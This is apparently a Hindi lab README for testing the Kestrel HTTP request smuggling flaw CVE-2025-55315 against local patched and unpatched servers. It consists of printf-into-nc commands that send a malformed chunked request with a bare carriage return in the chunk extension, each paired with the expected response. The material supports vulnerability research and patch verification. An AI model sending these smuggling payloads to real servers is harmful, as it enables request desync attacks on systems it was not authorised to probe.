
पैच किए गए/अनपैच किए गए Kestrel पर CVE-2025-55315 HTTP स्मगलिंग भेद्यता के लिए विभिन्न व्यवहारों के साथ प्रयोग करने का प्लेग्राउंड
यहाँ कुछ परीक्षण दिए गए हैं जो इन सेवाओं के विरुद्ध किए जा सकते हैं ताकि Kestrel के पैच किए गए और बिना पैच किए गए संस्करणों के बीच GET/POST रूट्स पर अलग-अलग व्यवहार देखा जा सके।
बिना पैच किए गए संस्करण के विरुद्ध GET (200 भेजता है और सॉकेट खुला रहता है)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
पैच किए गए संस्करण के विरुद्ध GET (200 भेजता है और सॉकेट बंद हो जाता है)
printf 'GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
CT आवश्यक नहीं, बिना पैच किए गए संस्करण के विरुद्ध POST (200 भेजता है और सॉकेट खुला रहता है)
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
CT आवश्यक नहीं, पैच किए गए संस्करण के विरुद्ध POST (400 भेजता है और सॉकेट बंद हो जाता है (प्रक्रिया Bad chunk extension के बारे में एक हैंडल किया गया अपवाद भी फेंकती है))
printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001
CT आवश्यक, बिना पैच किए गए संस्करण के विरुद्ध POST (415 भेजता है और सॉकेट खुला रहता है)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5002
CT आवश्यक, पैच किए गए संस्करण के विरुद्ध POST (415 भेजता है और सॉकेट बंद हो जाता है)
printf 'POST /ct HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\nContent-Type: text/plain\r\n\r\n2;\rxx\r\nxy\r\n0\r\n\r\n' | nc localhost 5001